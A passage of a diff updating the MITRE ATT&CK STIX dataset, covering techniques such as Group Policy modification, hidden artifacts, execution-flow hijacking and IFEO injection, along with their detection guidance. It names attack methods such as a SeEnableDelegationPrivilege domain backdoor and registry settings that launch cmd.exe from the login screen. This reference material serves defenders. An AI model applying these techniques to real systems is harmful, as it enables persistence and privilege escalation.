as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)\n\nFor example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)", + "id": "attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163", "type": "attack-pattern", "kill_chain_phases": [ { @@ -14137,21 +15126,20 @@ "phase_name": "privilege-escalation" } ], - "modified": "2020-03-26T21:17:41.231Z", - "created": "2019-03-07T14:10:32.650Z", - "x_mitre_is_subtechnique": false, - "x_mitre_defense_bypassed": [ - "System access controls", - "File system access controls" - ], - "x_mitre_detection": "It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including:\n\n* Event ID 5136 - A directory service object was modified\n* Event ID 5137 - A directory service object was created\n* Event ID 5138 - A directory service object was undeleted\n* Event ID 5139 - A directory service object was moved\n* Event ID 5141 - A directory service object was deleted\n\n\nGPO abuse will often be accompanied by some other behavior such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704). ", - "x_mitre_version": "1.1", + "modified": "2021-02-09T15:52:24.315Z", + "created": "2020-12-28T21:50:59.844Z", + "x_mitre_version": "1.0", + "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "Administrator", "User" ], + "x_mitre_detection": "It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including:\n\n* Event ID 5136 - A directory service object was modified\n* Event ID 5137 - A directory service object was created\n* Event ID 5138 - A directory service object was undeleted\n* Event ID 5139 - A directory service object was moved\n* Event ID 5141 - A directory service object was deleted\n\n\nGPO abuse will often be accompanied by some other behavior such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704).", "x_mitre_data_sources": [ - "Windows event logs" + "Active Directory: Active Directory Object Creation", + "Active Directory: Active Directory Object Deletion", + "Active Directory: Active Directory Object Modification", + "Command: Command Execution" ], "x_mitre_contributors": [ "Itamar Mizrahi, Cymptom", @@ -14214,8 +15202,8 @@ "User" ], "x_mitre_data_sources": [ - "Process command-line parameters", - "Windows event logs" + "File: File Access", + "Command: Command Execution" ], "x_mitre_detection": "Monitor for attempts to access SYSVOL that involve searching for XML files. \n\nDeploy a new XML file with permissions set to Everyone:Deny and monitor for Access Denied errors.(Citation: ADSecurity Finding Passwords in SYSVOL)" }, @@ -14257,7 +15245,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Hardware", - "description": "Before compromising a victim, adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).", + "description": "Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).", "id": "attack-pattern--24286c33-d4a4-4419-85c2-1d094a896c26", "type": "attack-pattern", "kill_chain_phases": [ @@ -14266,7 +15254,7 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T03:53:03.353Z", + "modified": "2021-04-15T03:23:21.031Z", "created": "2020-10-02T16:40:47.488Z", "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.0", @@ -14297,7 +15285,7 @@ "source_name": "Ossmann Star Feb 2011" }, { - "url": "http://www.bsidesto.ca/2015/slides/Weapons_of_a_Penetration_Tester.pptx", + "url": "https://www.youtube.com/watch?v=lDvf4ScWbcQ", "description": "Nick Aleks. (2015, November 7). Weapons of a Pentester - Understanding the virtual & physical tools used by white/black hat hackers. Retrieved March 30, 2018.", "source_name": "Aleks Weapons Nov 2015" }, @@ -14327,7 +15315,7 @@ "phase_name": "initial-access" } ], - "modified": "2020-09-16T16:12:48.086Z", + "modified": "2021-04-22T17:47:04.476Z", "created": "2018-04-18T17:59:24.739Z", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ @@ -14336,10 +15324,6 @@ "macOS" ], "x_mitre_detection": "Asset management systems may help with the detection of computer systems or network devices that should not exist on a network. \n\nEndpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.", - "x_mitre_data_sources": [ - "Asset management", - "Data loss prevention" - ], "x_mitre_version": "1.1" }, { @@ -14387,8 +15371,9 @@ "modified": "2020-06-29T15:12:11.024Z", "created": "2020-06-28T22:55:55.719Z", "x_mitre_data_sources": [ - "File monitoring", - "Windows Registry" + "Windows Registry: Windows Registry Key Modification", + "File: File Modification", + "Firmware: Firmware Modification" ], "x_mitre_permissions_required": [ "User", @@ -14476,9 +15461,10 @@ "Host forensic analysis" ], "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring", - "File monitoring" + "File: File Creation", + "Process: Process Creation", + "Command: Command Execution", + "File: File Metadata" ], "x_mitre_permissions_required": [ "User" @@ -14542,8 +15528,9 @@ "modified": "2020-07-31T17:42:43.768Z", "created": "2020-03-13T20:12:40.876Z", "x_mitre_data_sources": [ - "File monitoring", - "Authentication logs" + "User Account: User Account Creation", + "User Account: User Account Metadata", + "File: File Modification" ], "x_mitre_permissions_required": [ "root", @@ -14625,10 +15612,10 @@ ], "x_mitre_detection": "Monitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the apple.awt.UIElement or any other suspicious plist tag in plist files and flag them.", "x_mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters", - "PowerShell logs" + "Process: Process Creation", + "Command: Command Execution", + "Script: Script Execution", + "File: File Modification" ], "x_mitre_platforms": [ "macOS", @@ -14680,12 +15667,21 @@ "modified": "2020-09-23T11:31:50.636Z", "created": "2020-02-26T17:41:25.933Z", "x_mitre_data_sources": [ - "API monitoring", - "PowerShell logs", - "Authentication logs", - "Process command-line parameters", - "Process monitoring", - "File monitoring" + "File: File Creation", + "Process: Process Creation", + "Command: Command Execution", + "File: File Metadata", + "User Account: User Account Creation", + "User Account: User Account Metadata", + "File: File Modification", + "Script: Script Execution", + "Process: OS API Execution", + "Windows Registry: Windows Registry Key Modification", + "Firmware: Firmware Modification", + "Process: Process Creation", + "File: File Creation", + "Service: Service Creation", + "File: File Content" ], "x_mitre_detection": "Monitor files, processes, and command-line arguments for actions indicative of hidden artifacts. Monitor event and authentication logs for records of hidden artifacts being used. Monitor the file system and shell commands for hidden attribute usage.", "x_mitre_version": "1.0", @@ -14731,22 +15727,23 @@ "phase_name": "defense-evasion" } ], - "modified": "2020-10-17T15:15:28.288Z", + "modified": "2021-04-27T19:55:20.290Z", "created": "2020-03-12T20:38:12.465Z", "x_mitre_data_sources": [ - "Environment variable", - "Loaded DLLs", - "Process command-line parameters", - "Process monitoring", - "File monitoring", - "DLL monitoring" + "Windows Registry: Windows Registry Key Modification", + "Process: Process Creation", + "Module: Module Load", + "Command: Command Execution", + "Service: Service Metadata", + "File: File Creation", + "File: File Modification" ], "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.\n\nLook for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nMonitor for changes to environment variables, as well as the commands to implement these changes.\n\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\n\nService changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.", "x_mitre_defense_bypassed": [ "Anti-virus", "Application control" ], - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Linux", @@ -14769,9 +15766,9 @@ "url": "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx" }, { - "source_name": "Endgame Process Injection July 2017", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + "source_name": "Elastic Process Injection July 2017" }, { "source_name": "Adlice Software IAT Hooks Oct 2014", @@ -14841,7 +15838,7 @@ ], "revoked": true, "type": "attack-pattern", - "modified": "2020-02-12T16:57:40.440Z", + "modified": "2020-11-10T18:29:30.516Z", "created": "2018-01-16T16:13:52.465Z" }, { @@ -14903,9 +15900,6 @@ "SYSTEM" ], "x_mitre_detection": "Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present. (Citation: virtualization.info 2006)", - "x_mitre_data_sources": [ - "System calls" - ], "x_mitre_version": "2.0" }, { @@ -14936,7 +15930,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "IP Addresses", - "description": "Before compromising a victim, adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", + "description": "Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "id": "attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3", "type": "attack-pattern", "kill_chain_phases": [ @@ -14945,7 +15939,7 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T04:03:29.213Z", + "modified": "2021-04-15T03:31:05.302Z", "created": "2020-10-02T15:59:11.695Z", "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.0", @@ -14972,7 +15966,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Identify Business Tempo", - "description": "Before compromising a victim, adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization\u2019s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim\u2019s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199))", + "description": "Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization\u2019s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim\u2019s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199))", "id": "attack-pattern--2339cf19-8f1e-48f7-8a91-0262ba547b6f", "type": "attack-pattern", "kill_chain_phases": [ @@ -14981,7 +15975,7 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T04:10:12.352Z", + "modified": "2021-04-15T03:38:31.983Z", "created": "2020-10-02T16:34:32.435Z", "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.0", @@ -15008,7 +16002,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Identify Roles", - "description": "Before compromising a victim, adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", + "description": "Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", "id": "attack-pattern--cc723aff-ec88-40e3-a224-5af9fd983cc4", "type": "attack-pattern", "kill_chain_phases": [ @@ -15017,7 +16011,7 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T04:10:36.279Z", + "modified": "2021-04-15T03:39:08.904Z", "created": "2020-10-02T16:37:30.015Z", "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.0", @@ -15058,7 +16052,7 @@ { "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Endgame Process Injection July 2017" + "source_name": "Elastic Process Injection July 2017" }, { "url": "https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml", @@ -15073,10 +16067,30 @@ ], "revoked": true, "type": "attack-pattern", - "modified": "2020-01-24T15:06:35.811Z", + "modified": "2020-11-10T18:29:30.417Z", "created": "2018-01-16T16:13:52.465Z" }, { + "created": "2020-01-24T15:05:58.384Z", + "modified": "2020-11-10T18:29:31.112Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "type": "attack-pattern", + "id": "attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6", + "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., C:\\dbg\\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nSimilar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.\n\nMalware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)", + "name": "Image File Execution Options Injection", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -15111,7 +16125,7 @@ { "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Endgame Process Injection July 2017" + "source_name": "Elastic Process Injection July 2017" }, { "url": "https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml", @@ -15124,46 +16138,24 @@ "source_name": "Symantec Ushedix June 2008" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Image File Execution Options Injection", - "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., C:\\dbg\\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nSimilar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Endgame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.\n\nMalware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)", - "id": "attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "modified": "2020-08-26T14:18:08.480Z", - "created": "2020-01-24T15:05:58.384Z", - "x_mitre_version": "1.1", - "x_mitre_is_subtechnique": true, - "x_mitre_permissions_required": [ - "Administrator", - "SYSTEM" - ], - "x_mitre_detection": "Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017)", - "x_mitre_data_sources": [ - "API monitoring", - "Windows event logs", - "Windows Registry", - "Process command-line parameters", - "Process monitoring" + "x_mitre_platforms": [ + "Windows" ], "x_mitre_contributors": [ "Oddvar Moe, @oddvarmoe" ], - "x_mitre_platforms": [ - "Windows" - ] + "x_mitre_data_sources": [ + "Process: Process Creation", + "Windows Registry: Windows Registry Key Modification", + "Command: Command Execution" + ], + "x_mitre_detection": "Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)", + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_version": 